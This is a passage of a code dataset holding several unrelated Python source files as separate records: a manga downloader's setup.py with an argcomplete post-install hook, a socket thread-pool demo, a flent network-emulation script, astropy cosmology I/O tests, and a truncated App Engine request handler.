find_packages\nfrom setuptools.command.install import install\n\nfrom manga_py import meta\n\ncur_dir = Path(__file__).resolve().parent # type: Path\n\nREQUIREMENTS = [\n 'lxml>=3.7.2',\n 'cssselect>=1.0.0',\n 'Pillow>=4.3',\n 'requests>=2.21',\n 'pycryptodome>=3.5',\n 'cloudscraper>=1.1.1',\n 'progressbar2>3.34',\n 'urllib3',\n 'packaging>=17',\n 'html-purifier>=0.1.9',\n 'js2py>=0.60',\n 'peewee>3.4.0',\n 'tinycss>=0.4',\n 'better_exceptions>=0.2',\n 'argcomplete>=1.9.4',\n 'tabulate>=0.8',\n # 'Deprecated>1.2', # maybe\n]\n\n\ndef walk(_path: str) -> tuple:\n \"\"\"\n :param _path:\n :return: tuple(_path, tuple('dirs',), tuple('files',))\n \"\"\"\n dirs = []\n files = []\n path = Path(_path)\n for i in path.iterdir():\n if i.is_file():\n files.append(str(i))\n if i.is_dir():\n dirs.append(str(i))\n return path.resolve(), dirs, files\n\n\n# generate manga_py/libs/modules/html/templates/__init__.py\ndef generate_html_template():\n data_files = 'manga_py/libs/modules/html/templates'\n pass\n\n\nif cur_dir.joinpath('requirements.txt').is_file():\n with open('requirements.txt') as f:\n REQUIREMENTS = f.readlines()\n\n\nlong_description = ''\nif cur_dir.joinpath('README.rst').is_file():\n with open('README.rst') as f:\n long_description = f.read()\n\n\nrelease_status = 'Development Status :: 1 - Planning'\n# release_status = 'Development Status :: 5 - Production/Stable'\n# if ~meta.__version__.endswith('-beta'):\n# release_status = 'Development Status :: 4 - Beta'\n# elif ~meta.__version__.endswith('-alpha'):\n# release_status = 'Development Status :: 3 - Alpha'\n\n\ndef _parse_out(out):\n if isinstance(out, bytes):\n out = out.decode()\n _sh = search(r'\\w\\s(/.+?\\.sh)', out)\n return _sh.group(1)\n\n\ndef _make_sh(_temp_file, complete_sh):\n \"\"\"Post-installation for installation mode.\"\"\"\n with open(_temp_file, 'w') as f:\n f.write(''.join([\n '#!/bin/sh\\n',\n 'if [ `cat ~/.bashrc | grep {0} | wc -l` -lt 1 ];',\n ' then echo \". {0}\" >> ~/.bashrc &&',\n ' echo \"Please, restart you shell\"; fi'\n ]).format(complete_sh))\n chmod(_temp_file, 0o755)\n\n\nclass PostInstallCommand(install):\n\n def run(self):\n install.run(self)\n if name.find('nt') == -1:\n print('Activate argcomplete')\n process = Popen([\n 'activate-global-python-argcomplete',\n '--user'\n ], stdout=PIPE, stderr=PIPE)\n out, err = process.communicate(timeout=1)\n if process.returncode == 0:\n sh = _parse_out(out)\n _temp_file = str(Path(gettempdir()).joinpath('manga-py.sh'))\n _make_sh(_temp_file, sh)\n Popen([_temp_file]).communicate(timeout=1)\n unlink(_temp_file)\n else:\n print('ERROR! %s' % err, file=stderr)\n exit(1)\n\n\nsetup( # https://setuptools.readthedocs.io/en/latest/setuptools.html#namespace-packages\n name='manga_py',\n packages=find_packages(),\n include_package_data=True,\n version=meta.__version__,\n description='Universal assistant download manga.',\n long_description=long_description,\n # long_description_content_type='text/markdown',\n author=meta.__author__,\n author_email=meta.__email__,\n url=meta.__download_uri__,\n zip_safe=True,\n data_files=[], # look here https://docs.python.org/2/distutils/sourcedist.html#commands\n download_url='{}/archive/{}.tar.gz'.format(meta.__download_uri__, meta.__version__),\n keywords=['manga-downloader', 'manga', 'manga-py', 'manga-dl'],\n license=meta.__license__,\n classifiers=[ # look here https://pypi.python.org/pypi?%3Aaction=list_classifiers\n release_status,\n 'License :: OSI Approved :: MIT License',\n 'Natural Language :: English',\n 'Environment :: Console',\n 'Programming Language :: Python :: 3.5',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: 3.7',\n 'Topic :: Internet :: WWW/HTTP',\n ],\n python_requires='>=3.6',\n install_requires=REQUIREMENTS,\n cmdclass={\n 'install': PostInstallCommand,\n },\n entry_points={\n 'console_scripts': [\n 'manga-py = manga_py:main',\n # 'manga-py-db = manga_py:db_main',\n ]\n },\n test_suite='tests',\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":4650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"589340980","text":"# Python standard library modules\nimport os\nimport sys\n\n# 3rd party modules\nimport yaml\n\n\ndef load_config():\n config_path = os.path.join(os.path.dirname(__file__), '..')\n\n # Load the general config\n try:\n config = yaml.load(open(os.path.join(config_path, 'config.yaml'), 'r'))\n except yaml.scanner.ScannerError:\n sys.stderr.write('Error: Could not parse config.yaml\\n')\n sys.exit(1)\n except IOError:\n sys.stderr.write('Error: Could not open config.yaml\\n')\n sys.exit(1)\n\n return config\n","sub_path":"lib/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"520628482","text":"import threading\nimport socket\nimport queue\n\n'''\nHow use threads with sockets. Method uses a thread pool.\n\nUse this with Basic_Client.py\n'''\n\nclass Server:\n\n def __init__(self, host, port):\n self.host = host\n self.port = port\n self.number_of_threads = 4\n self.thread_pool = [] # just a list of threads \"in the pool\"\n self.task_queue = queue.Queue()\n\n '''\n This is essentially a task that we want a thread to exec.\n '''\n def worker(self):\n while True:\n connection, msg = self.task_queue.get()\n recieved_data = connection.recv(1024)\n if recieved_data:\n print(recieved_data)\n connection.sendall(msg.encode())\n self.task_queue.task_done()\n\n def start(self):\n for i in range(self.number_of_threads):\n thread = threading.Thread(\n target = self.worker,\n daemon = True\n )\n thread.start()\n self.thread_pool.append(thread)\n\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n sock.bind((self.host, self.port))\n sock.listen()\n\n j = 0\n while True:\n connection, address = sock.accept()\n if j % 2 == 0:\n self.task_queue.put(\n (connection, \"I don't want to talk, please leave\")\n )\n else:\n self.task_queue.put(\n (connection, \"STAAP bothering me!\")\n )\n j += 1\n\nserver = Server(\"localhost\", 6969)\nserver.start()\n\nif __name__ == '__main__':\n main()\n","sub_path":"Thread_Pool.py","file_name":"Thread_Pool.py","file_ext":"py","file_size_in_byte":1632,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"426423332","text":"import os\nimport subprocess\nimport time\nfrom multiprocessing import Process\nfrom shutil import copy2\n\nfrom nest.engine.exec import exec_subprocess\nfrom nest.topology import *\nimport argparse\n\n##############################\n# Topology: Dumbbell\n#\n# ln0---------------- ---------------rn0\n# \\ /\n# ln1--------------- \\ / ---------------rn1\n# \\ \\ / /\n# ln2---------------- lr ------------- rr ---------------- rn2\n# . / \\ .\n# . / \\ .\n# . / \\ .\n# . / \\ .\n# ln6------------ ------------rn6\n#\n##############################\n\n\n####### CONFIGURATION ###########\n\n(TOTAL_LATENCY, LAT_UNIT) = (4, \"ms\") # Total Round trip latency\n\nBOTTLENECK_BANDWIDTH, BW_UNIT = (80, \"mbit\") # Client to router Bandwidth will be 10 * Bottleneck bandwidth\n\nAQM = \"fq_pie\" # set at router egress interface\n\nECN = True\n\nTOTAL_NODES_PER_SIDE = 1 # Number of clients\n\nDEBUG_LOGS = True\nFLENT_TEST_NAME = \"tcp_nup\" # e.g rrul, tcp_nup, cubic_reno, tcp_1up\nTCP_CONG_CONTROL = \"cubic\"\n\nTEST_DURATION = 30\nSTEP_SIZE = 0.05 # Resolution in seconds\nUPLOAD_STREAMS = 1\n\nOFFLOADS = True # GSO, GRO\nNIC_BUFFER = \"\" # TX\n\n# Adding CL arguments functionality\n# If no arguments are added then the ones in this script are used\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--rtt\", type=int, help=\"Enter the RTT\")\nparser.add_argument(\"--bottleneck_bw\", type=int, help=\"Enter the bottleneck bandwidth\")\nparser.add_argument(\"--AQM\", type=str, help=\"Enter the AQM algorithm\")\nparser.add_argument(\"--cong_control_algo\", type=str, help=\"Enter the congestion control algorithm\")\nparser.add_argument(\"--ecn\", type=str, help=\"Set the ecn flag\")\nparser.add_argument(\"--offloads\", type=str, help=\"Set the offloads flag\")\n\nargs = parser.parse_args()\n\nif args.rtt is not None:\n TOTAL_LATENCY = args.rtt\n\nif args.bottleneck_bw is not None:\n BOTTLENECK_BANDWIDTH = args.bottleneck_bw\n\nif args.AQM is not None:\n AQM = args.AQM\n\nif args.cong_control_algo is not None:\n TCP_CONG_CONTROL = args.cong_control_algo\n\nif args.ecn is not None:\n ECN = True if args.ecn == \"Yes\" else False\n\nif args.offloads is not None:\n OFFLOADS = True if args.offloads == \"Yes\" else False\n\ntitle = \"ECN_\" if ECN else \"\"\ntitle += \"OFL_\" if OFFLOADS else \"\"\ntitle += AQM + \"_\" + str(BOTTLENECK_BANDWIDTH) + BW_UNIT + '_' + str(TOTAL_LATENCY) + LAT_UNIT + '_' + TCP_CONG_CONTROL + \"_\"\n###############################\n\nclient_router_latency = TOTAL_LATENCY / 8\nrouter_router_latency = TOTAL_LATENCY / 4\n\nclient_router_latency = str(client_router_latency) + LAT_UNIT\nrouter_router_latency = str(router_router_latency) + LAT_UNIT\n\n\nclient_router_bandwidth = str(BOTTLENECK_BANDWIDTH * 10) + BW_UNIT\nbottleneck_bandwidth = str(BOTTLENECK_BANDWIDTH) + BW_UNIT\n\n# Assigning number of nodes on either sides of the dumbbell according to input\nnum_of_left_nodes = TOTAL_NODES_PER_SIDE\nnum_of_right_nodes = TOTAL_NODES_PER_SIDE\n\n###### TOPOLOGY CREATION ######\n\n# Creating the routers for the dumbbell topology\nleft_router = Node(\"left-router\")\nright_router = Node(\"right-router\")\n\n# Enabling IP forwarding for the routers\nleft_router.enable_ip_forwarding()\nright_router.enable_ip_forwarding()\n\n# Lists to store all the left and right nodes\nleft_nodes = []\nright_nodes = []\n\n# Creating all the left and right nodes\nfor i in range(num_of_left_nodes):\n left_nodes.append(Node(\"left-node-\" + str(i)))\n\nfor i in range(num_of_right_nodes):\n right_nodes.append(Node(\"right-node-\" + str(i)))\n\nprint(\"Nodes and routers created\")\n\n# Add connections\n\n# Lists of tuples to store the interfaces connecting the router and nodes\nleft_node_connections = []\nright_node_connections = []\n\n# Connections of the left-nodes to the left-router\nfor i in range(num_of_left_nodes):\n left_node_connections.append(connect(left_nodes[i], left_router))\n\n# Connections of the right-nodes to the right-router\nfor i in range(num_of_right_nodes):\n right_node_connections.append(connect(right_nodes[i], right_router))\n\n# Connecting the two routers\n(left_router_connection, right_router_connection) = connect(left_router, right_router)\n\nprint(\"Connections made\")\n\n###### ADDRESS ASSIGNMENT ######\n\n# A subnet object to auto generate addresses in the same subnet\n# This subnet is used for all the left-nodes and the left-router\nleft_subnet = Subnet(\"10.0.0.0/24\")\n\nfor i in range(num_of_left_nodes):\n # Copying a left-node's interface and it's pair to temporary variables\n node_int = left_node_connections[i][0]\n router_int = left_node_connections[i][1]\n\n # Assigning addresses to the interfaces\n node_int.set_address(left_subnet.get_next_addr())\n router_int.set_address(left_subnet.get_next_addr())\n\n# This subnet is used for all the right-nodes and the right-router\nright_subnet = Subnet(\"10.0.1.0/24\")\n\nfor i in range(num_of_right_nodes):\n # Copying a right-node's interface and it's pair to temporary variables\n node_int = right_node_connections[i][0]\n router_int = right_node_connections[i][1]\n\n # Assigning addresses to the interfaces\n node_int.set_address(right_subnet.get_next_addr())\n router_int.set_address(right_subnet.get_next_addr())\n\n# This subnet is used for the connections between the two routers\nrouter_subnet = Subnet(\"10.0.2.0/24\")\n\n# Assigning addresses to the connections between the two routers\nleft_router_connection.set_address(router_subnet.get_next_addr())\nright_router_connection.set_address(router_subnet.get_next_addr())\n\nprint(\"Addresses are assigned\")\n\n####### ROUTING #######\n\n# If any packet needs to be sent from any left-nodes, send it to left-router\nfor i in range(num_of_left_nodes):\n left_nodes[i].add_route(\"DEFAULT\", left_node_connections[i][0])\n\n# If the destination address for any packet in left-router is\n# one of the left-nodes, forward the packet to that node\nfor i in range(num_of_left_nodes):\n left_router.add_route(\n left_node_connections[i][0].get_address(), left_node_connections[i][1]\n )\n\n# If the destination address doesn't match any of the entries\n# in the left-router's iptables forward the packet to right-router\nleft_router.add_route(\"DEFAULT\", left_router_connection)\n\n# If any packet needs to be sent from any right nodes, send it to right-router\nfor i in range(num_of_right_nodes):\n right_nodes[i].add_route(\"DEFAULT\", right_node_connections[i][0])\n\n# If the destination address for any packet in left-router is\n# one of the left-nodes, forward the packet to that node\nfor i in range(num_of_right_nodes):\n right_router.add_route(\n right_node_connections[i][0].get_address(), right_node_connections[i][1]\n )\n\n# If the destination address doesn't match any of the entries\n# in the right-router's iptables forward the packet to left-router\nright_router.add_route(\"DEFAULT\", right_router_connection)\n\nqdisc_kwargs = {}\n\nif ECN:\n qdisc_kwargs = {\"ecn\": \"\"}\n\n# Setting up the attributes of the connections between\n# the nodes on the left-side and the left-router\nfor i in range(num_of_left_nodes):\n left_node_connections[i][0].set_attributes(\n client_router_bandwidth, client_router_latency, **qdisc_kwargs\n )\n left_node_connections[i][1].set_attributes(\n client_router_bandwidth, client_router_latency, **qdisc_kwargs\n )\n\n# Setting up the attributes of the connections between\n# the nodes on the right-side and the right-router\nfor i in range(num_of_right_nodes):\n right_node_connections[i][0].set_attributes(\n client_router_bandwidth, client_router_latency, **qdisc_kwargs\n )\n right_node_connections[i][1].set_attributes(\n client_router_bandwidth, client_router_latency, **qdisc_kwargs\n )\n\nprint(\"Setting Router connection attributes\")\n# Setting up the attributes of the connections between\n# the two routers\nleft_router_connection.set_attributes(\n bottleneck_bandwidth, router_router_latency, AQM, **qdisc_kwargs\n)\nright_router_connection.set_attributes(\n bottleneck_bandwidth, router_router_latency, AQM, **qdisc_kwargs\n)\n\nartifacts_dir = title + time.strftime(\"%d-%m_%H:%M:%S.dump\")\nos.mkdir(artifacts_dir)\ncopy2(os.path.abspath(__file__), artifacts_dir)\n\nworkers_list = []\n\nfor i in range(TOTAL_NODES_PER_SIDE):\n cmd = f\"ip netns exec {right_nodes[i].id} netserver\"\n exec_subprocess(cmd)\n\nfor i in range(TOTAL_NODES_PER_SIDE):\n src_node = left_nodes[i]\n dest_node = right_nodes[i]\n\n if not OFFLOADS:\n exec_subprocess(\n f\"ip netns e {src_node.id} eththool --offloads {src_node.interfaces[0].id} gro off\"\n )\n exec_subprocess(\n f\"ip netns e {src_node.id} eththool --offloads {src_node.interfaces[0].id} gso off\"\n )\n\n if NIC_BUFFER:\n exec_subprocess(\n f\"ip netns e {src_node.id} eththool --set-ring {src_node.interfaces[0].id} tx {NIC_BUFFER}\"\n )\n\n if ECN:\n src_node.configure_tcp_param(\"ecn\", 1)\n dest_node.configure_tcp_param(\"ecn\", 1)\n\n node_dir = f\"{artifacts_dir}/{src_node.name}\"\n os.mkdir(node_dir)\n\n # listen to the router qdisc stats only if it is the first client\n if i == 0:\n cmd = f\"\"\"\n ip netns exec {src_node.id} flent {FLENT_TEST_NAME} \\\n --test-parameter qdisc_stats_hosts={left_router.id} \\\n --test-parameter qdisc_stats_interfaces={left_router_connection.ifb.id} \\\n \"\"\"\n else:\n cmd = f\"\"\"\n ip netns exec {src_node.id} flent {FLENT_TEST_NAME} \\\n \"\"\"\n\n cmd += f\"\"\"\n --socket-stats \\\n --step-size={STEP_SIZE} \\\n --test-parameter upload_streams={UPLOAD_STREAMS} \\\n --test-parameter tcp_cong_control={TCP_CONG_CONTROL} \\\n --length {TEST_DURATION} \\\n --host {right_node_connections[i][0].address.get_addr(with_subnet=False)} \\\n --output {node_dir}/output.txt \\\n --data-dir {node_dir} \\\n --title-extra {title} \n \"\"\"\n\n if DEBUG_LOGS:\n cmd += f\"--log-file {node_dir}/debug.log\"\n\n workers_list.append(Process(target=exec_subprocess, args=(cmd,)))\n\nprint(\"\\n🤞 STARTED FLENT EXECUTION 🤞\\n\")\n\nfor worker in workers_list:\n worker.start()\n\nfor worker in workers_list:\n worker.join()\n\nprint(\"\\n🎉 FINISHED EXECUTION 🎉\\n\")\n","sub_path":"dumbell_flent.py","file_name":"dumbell_flent.py","file_ext":"py","file_size_in_byte":10474,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"504019362","text":"# Licensed under a 3-clause BSD style license - see LICENSE.rst\n\nimport copy\nimport inspect\nimport json\nimport os\n\nimport pytest\n\nimport numpy as np\n\nimport astropy.units as u\nfrom astropy import cosmology\nfrom astropy.cosmology import Cosmology, w0wzCDM\nfrom astropy.cosmology.connect import CosmologyRead\nfrom astropy.cosmology.core import _COSMOLOGY_CLASSES, Cosmology\nfrom astropy.io import registry as io_registry\n\ncosmo_instances = cosmology.parameters.available\nreadwrite_formats = [\"json\"]\ntofrom_formats = [(\"mapping\", dict)] # (format, data type)\n\n\n###############################################################################\n# Setup\n\ndef read_json(filename, **kwargs):\n with open(filename, \"r\") as file:\n data = file.read()\n mapping = json.loads(data) # parse json mappable to dict\n # deserialize Quantity\n for k, v in mapping.items():\n if isinstance(v, dict) and \"value\" in v and \"unit\" in v:\n mapping[k] = u.Quantity(v[\"value\"], v[\"unit\"])\n for k, v in mapping.get(\"meta\", {}).items(): # also the metadata\n if isinstance(v, dict) and \"value\" in v and \"unit\" in v:\n mapping[\"meta\"][k] = u.Quantity(v[\"value\"], v[\"unit\"])\n return Cosmology.from_format(mapping, **kwargs)\n\n\ndef write_json(cosmology, file, *, overwrite=False):\n \"\"\"Write Cosmology to JSON.\n\n Parameters\n ----------\n cosmology : `astropy.cosmology.Cosmology` subclass instance\n file : path-like or file-like\n overwrite : bool (optional, keyword-only)\n \"\"\"\n data = cosmology.to_format(\"mapping\") # start by turning into dict\n data[\"cosmology\"] = data[\"cosmology\"].__qualname__\n # serialize Quantity\n for k, v in data.items():\n if isinstance(v, u.Quantity):\n data[k] = {\"value\": v.value.tolist(),\n \"unit\": str(v.unit)}\n for k, v in data.get(\"meta\", {}).items(): # also serialize the metadata\n if isinstance(v, u.Quantity):\n data[\"meta\"][k] = {\"value\": v.value.tolist(),\n \"unit\": str(v.unit)}\n\n # check that file exists and whether to overwrite.\n if os.path.exists(file) and not overwrite:\n raise IOError(f\"{file} exists. Set 'overwrite' to write over.\")\n with open(file, \"w\") as write_file:\n json.dump(data, write_file)\n\n\ndef json_identify(origin, filepath, fileobj, *args, **kwargs):\n return filepath is not None and filepath.endswith(\".json\")\n\n\ndef setup_module(module):\n \"\"\"Setup module for tests.\"\"\"\n io_registry.register_reader(\"json\", Cosmology, read_json)\n io_registry.register_writer(\"json\", Cosmology, write_json)\n io_registry.register_identifier(\"json\", Cosmology, json_identify)\n\n\ndef teardown_module(module):\n \"\"\"clean up module after tests.\"\"\"\n io_registry.unregister_reader(\"json\", Cosmology)\n io_registry.unregister_writer(\"json\", Cosmology)\n io_registry.unregister_identifier(\"json\", Cosmology)\n\n\n###############################################################################\n# Tests\n\nclass TestReadWriteCosmology:\n\n @pytest.mark.parametrize(\"format\", readwrite_formats)\n def test_write_methods_have_explicit_kwarg_overwrite(self, format):\n writer = io_registry.get_writer(format, Cosmology)\n # test in signature\n sig = inspect.signature(writer)\n assert \"overwrite\" in sig.parameters\n\n # also in docstring\n assert \"overwrite : bool\" in writer.__doc__\n\n @pytest.mark.parametrize(\"format\", readwrite_formats)\n @pytest.mark.parametrize(\"instance\", cosmo_instances)\n def test_complete_info(self, tmpdir, instance, format):\n \"\"\"\n Test writing from an instance and reading from the base class.\n This requires full information.\n \"\"\"\n cosmo = getattr(cosmology.realizations, instance)\n fname = tmpdir / f\"{instance}.{format}\"\n\n cosmo.write(str(fname), format=format)\n\n # Also test kwarg \"overwrite\"\n assert os.path.exists(str(fname)) # file exists\n with pytest.raises(IOError):\n cosmo.write(str(fname), format=format, overwrite=False)\n\n assert os.path.exists(str(fname)) # overwrite file existing file\n cosmo.write(str(fname), format=format, overwrite=True)\n\n # Read back\n got = Cosmology.read(fname, format=format)\n\n assert got == cosmo\n assert got.meta == cosmo.meta\n\n @pytest.mark.parametrize(\"format\", readwrite_formats)\n @pytest.mark.parametrize(\"instance\", cosmo_instances)\n def test_from_subclass_complete_info(self, tmpdir, instance, format):\n \"\"\"\n Test writing from an instance and reading from that class, when there's\n full information saved.\n \"\"\"\n cosmo = getattr(cosmology.realizations, instance)\n fname = tmpdir / f\"{instance}.{format}\"\n cosmo.write(str(fname), format=format)\n\n # read with the same class that wrote.\n got = cosmo.__class__.read(fname, format=format)\n assert got == cosmo\n assert got.meta == cosmo.meta\n\n # this should be equivalent to\n got = Cosmology.read(fname, format=format, cosmology=cosmo.__class__)\n assert got == cosmo\n assert got.meta == cosmo.meta\n\n # and also\n got = Cosmology.read(fname, format=format, cosmology=cosmo.__class__.__qualname__)\n assert got == cosmo\n assert got.meta == cosmo.meta\n\n @pytest.mark.parametrize(\"instance\", cosmo_instances)\n def test_from_subclass_partial_info(self, tmpdir, instance):\n \"\"\"\n Test writing from an instance and reading from that class.\n This requires partial information.\n\n .. todo::\n\n generalize over all save formats for this test.\n \"\"\"\n format = \"json\"\n cosmo = getattr(cosmology.realizations, instance)\n fname = tmpdir / f\"{instance}.{format}\"\n\n cosmo.write(str(fname), format=format)\n\n # partial information\n with open(fname, \"r\") as file:\n L = file.readlines()[0]\n L = L[:L.index('\"cosmology\":')]+L[L.index(', ')+2:] # remove cosmology\n i = L.index('\"Tcmb0\":') # delete Tcmb0\n L = L[:i] + L[L.index(', ', L.index(', ', i) + 1)+2:] # second occurence\n\n tempfname = tmpdir / f\"{instance}_temp.{format}\"\n with open(tempfname, \"w\") as file:\n file.writelines([L])\n\n # read with the same class that wrote fills in the missing info with\n # the default value\n got = cosmo.__class__.read(tempfname, format=format)\n got2 = Cosmology.read(tempfname, format=format, cosmology=cosmo.__class__)\n got3 = Cosmology.read(tempfname, format=format, cosmology=cosmo.__class__.__qualname__)\n\n assert (got == got2) and (got2 == got3) # internal consistency\n\n # not equal, because Tcmb0 is changed\n assert got != cosmo\n assert got.Tcmb0 == cosmo.__class__._init_signature.parameters[\"Tcmb0\"].default\n assert got.clone(name=cosmo.name, Tcmb0=cosmo.Tcmb0) == cosmo\n # but the metadata is the same\n assert got.meta == cosmo.meta\n\n @pytest.mark.parametrize(\"format\", readwrite_formats)\n @pytest.mark.parametrize(\"instance\", cosmo_instances)\n def test_reader_class_mismatch(self, tmpdir, instance, format):\n \"\"\"Test when the reader class doesn't match the file.\"\"\"\n cosmo = getattr(cosmology.realizations, instance)\n fname = tmpdir / f\"{instance}.{format}\"\n cosmo.write(str(fname), format=format)\n\n # class mismatch\n # when reading directly\n with pytest.raises(TypeError, match=\"missing 1 required\"):\n w0wzCDM.read(fname, format=format)\n\n with pytest.raises(TypeError, match=\"missing 1 required\"):\n Cosmology.read(fname, format=format, cosmology=w0wzCDM)\n\n # when specifying the class\n with pytest.raises(ValueError, match=\"`cosmology` must be either\"):\n w0wzCDM.read(fname, format=format, cosmology=\"FlatLambdaCDM\")\n\n\nclass TestCosmologyToFromFormat:\n \"\"\"Test methods ``astropy.cosmology.Cosmology.to/from_format``.\"\"\"\n\n @pytest.mark.parametrize(\"format_type\", tofrom_formats)\n @pytest.mark.parametrize(\"instance\", cosmo_instances)\n def test_format_complete_info(self, instance, format_type):\n \"\"\"Read tests happen later.\"\"\"\n format, objtype = format_type\n cosmo = getattr(cosmology.realizations, instance)\n\n # test to_format\n obj = cosmo.to_format(format)\n assert isinstance(obj, objtype)\n\n # test from_format\n got = Cosmology.from_format(obj, format=format)\n # and autodetect\n got2 = Cosmology.from_format(obj)\n\n assert got2 == got # internal consistency\n assert got == cosmo # external consistency\n assert got.meta == cosmo.meta\n\n @pytest.mark.parametrize(\"format_type\", tofrom_formats)\n @pytest.mark.parametrize(\"instance\", cosmo_instances)\n def test_from_subclass_complete_info(self, instance, format_type):\n \"\"\"\n Test transforming an instance and parsing from that class, when there's\n full information available.\n \"\"\"\n format, objtype = format_type\n cosmo = getattr(cosmology.realizations, instance)\n\n # test to_format\n obj = cosmo.to_format(format)\n assert isinstance(obj, objtype)\n\n # read with the same class that wrote.\n got = cosmo.__class__.from_format(obj, format=format)\n got2 = Cosmology.from_format(obj) # and autodetect\n\n assert got2 == got # internal consistency\n assert got == cosmo # external consistency\n assert got.meta == cosmo.meta\n\n # this should be equivalent to\n got = Cosmology.from_format(obj, format=format, cosmology=cosmo.__class__)\n assert got == cosmo\n assert got.meta == cosmo.meta\n\n # and also\n got = Cosmology.from_format(obj, format=format, cosmology=cosmo.__class__.__qualname__)\n assert got == cosmo\n assert got.meta == cosmo.meta\n\n @pytest.mark.parametrize(\"instance\", cosmo_instances)\n def test_from_subclass_partial_info(self, instance):\n \"\"\"\n Test writing from an instance and reading from that class.\n This requires partial information.\n\n .. todo::\n\n generalize over all formats for this test.\n \"\"\"\n format, objtype = (\"mapping\", dict)\n cosmo = getattr(cosmology.realizations, instance)\n\n # test to_format\n obj = cosmo.to_format(format)\n assert isinstance(obj, objtype)\n\n # partial information\n tempobj = copy.deepcopy(obj)\n del tempobj[\"cosmology\"]\n del tempobj[\"Tcmb0\"]\n\n # read with the same class that wrote fills in the missing info with\n # the default value\n got = cosmo.__class__.from_format(tempobj, format=format)\n got2 = Cosmology.from_format(tempobj, format=format, cosmology=cosmo.__class__)\n got3 = Cosmology.from_format(tempobj, format=format, cosmology=cosmo.__class__.__qualname__)\n\n assert (got == got2) and (got2 == got3) # internal consistency\n\n # not equal, because Tcmb0 is changed\n assert got != cosmo\n assert got.Tcmb0 == cosmo.__class__._init_signature.parameters[\"Tcmb0\"].default\n assert got.clone(name=cosmo.name, Tcmb0=cosmo.Tcmb0) == cosmo\n # but the metadata is the same\n assert got.meta == cosmo.meta\n\n @pytest.mark.parametrize(\"format_type\", tofrom_formats)\n @pytest.mark.parametrize(\"instance\", cosmo_instances)\n def test_reader_class_mismatch(self, instance, format_type):\n \"\"\"Test when the reader class doesn't match the object.\"\"\"\n format, objtype = format_type\n cosmo = getattr(cosmology.realizations, instance)\n\n # test to_format\n obj = cosmo.to_format(format)\n assert isinstance(obj, objtype)\n\n # class mismatch\n with pytest.raises(TypeError, match=\"missing 1 required\"):\n w0wzCDM.from_format(obj, format=format)\n\n with pytest.raises(TypeError, match=\"missing 1 required\"):\n Cosmology.from_format(obj, format=format, cosmology=w0wzCDM)\n\n # when specifying the class\n with pytest.raises(ValueError, match=\"`cosmology` must be either\"):\n w0wzCDM.from_format(obj, format=format, cosmology=\"FlatLambdaCDM\")\n","sub_path":"astropy/cosmology/tests/test_connect.py","file_name":"test_connect.py","file_ext":"py","file_size_in_byte":12349,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"520177656","text":"#!/usr/bin/env python\n#\n# Copyright 2007 Google Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\n#import datetime\nimport jinja2\nimport os\nimport webapp2\nimport cgi\n\nimport models\n\nimport languages\n\nfrom models import Package, Destination, Review\n\n\nimport provider_m\nfrom provider_m import Provider\n\nfrom google.appengine.api import mail\n#from google.appengine.ext import ndb\nimport json\nimport api\nfrom handlers import BaseRequestHandler,AdminRequestHandler\nimport utils\nimport image_handler\n\nfrom datetime import date\n\nfrom google.appengine.api import users\n\n\n\ntemplate_dir=os.path.join(os.path.dirname(__file__), 'templates')\nJINJA_ENVIRONMENT=jinja2.Environment(loader=jinja2.FileSystemLoader(template_dir),autoescape=True)\n\n\nMAX_IMAGES = 10\n\nclass DestinationHandler(BaseRequestHandler):\n\n def get(self):\n #global user_profile\n path=self.request.path[1:]\n\n if path[-1] == '/':#remove trailing slash\n path=path[:-1]\n\n path_items = path.split('/')\n destination_id = path_items[1]\n if self.user_profile:\n self.user_profile.last_destination_seen=path_items[1]\n self.user_profile.put()\n\n\n if len(path_items)==2: # destination only\n self.render_destination(destination_id)\n elif (len(path_items)==3 and path_items[2]=='packages'): #destination and package list or package\n self.render_packages(destination_id)\n\n elif (len(path_items)==3 and path_items[2]!='packages'): #destination and provider list or provider\n self.render_provider_list(destination_id,path_items[2])\n\n elif (len(path_items)==4 and path_items[2]=='packages'): #destination and package list or package\n self.render_package(destination_id, path_items[3])\n\n elif len(path_items) == 4: #destination and provider list or provider\n self.render_provider(destination_id, path_items[3])\n else:\n self.response._set_status(404)\n self.response.out.write('page not found')\n\n def render_destination(self, destination_id):\n\n if destination_id:\n destination = models.get_destination_by_id(destination_id)\n self.context.update({'destination': destination,\n 'packages' : models.get_packages(destination.key.id()),\n 'locations' : provider_m.get_providers('locations', destination.key.id(), include_country_level=True, order_by= 'rating') })\n if self.user_profile:\n self.user_profile.last_destination_seen = destination.key.id()\n\n\n template = JINJA_ENVIRONMENT.get_template('destination_landing.html')\n self.response.out.write(template.render(self.context))\n else:\n self.response._set_status(404)\n self.response.out.write('destination not found')\n\n def render_provider_list(self, destination_id, provider_type_id):\n '''displays all providers for a given type and destination'''\n\n provider_type = provider_m.get_provider_type_by_id(provider_type_id)\n destination = models.get_destination_by_id(destination_id)\n if destination and provider_type:\n providers = provider_m.get_providers(provider_type_id,destination.key.id(), include_country_level=True, order_by= 'rating')\n\n self.context.update({'destination': destination,\n 'provider_type' : provider_type,\n 'providers' : providers,\n 'packages' : models.get_packages(destination.key.id())})\n\n template = JINJA_ENVIRONMENT.get_template('provider_list.html')\n self.response.out.write(template.render(self.context))\n else:\n self.response._set_status(404)\n self.response.out.write('page not found')\n\n def render_packages(self, destination_id):\n '''displays all packages for a destination, or an individual 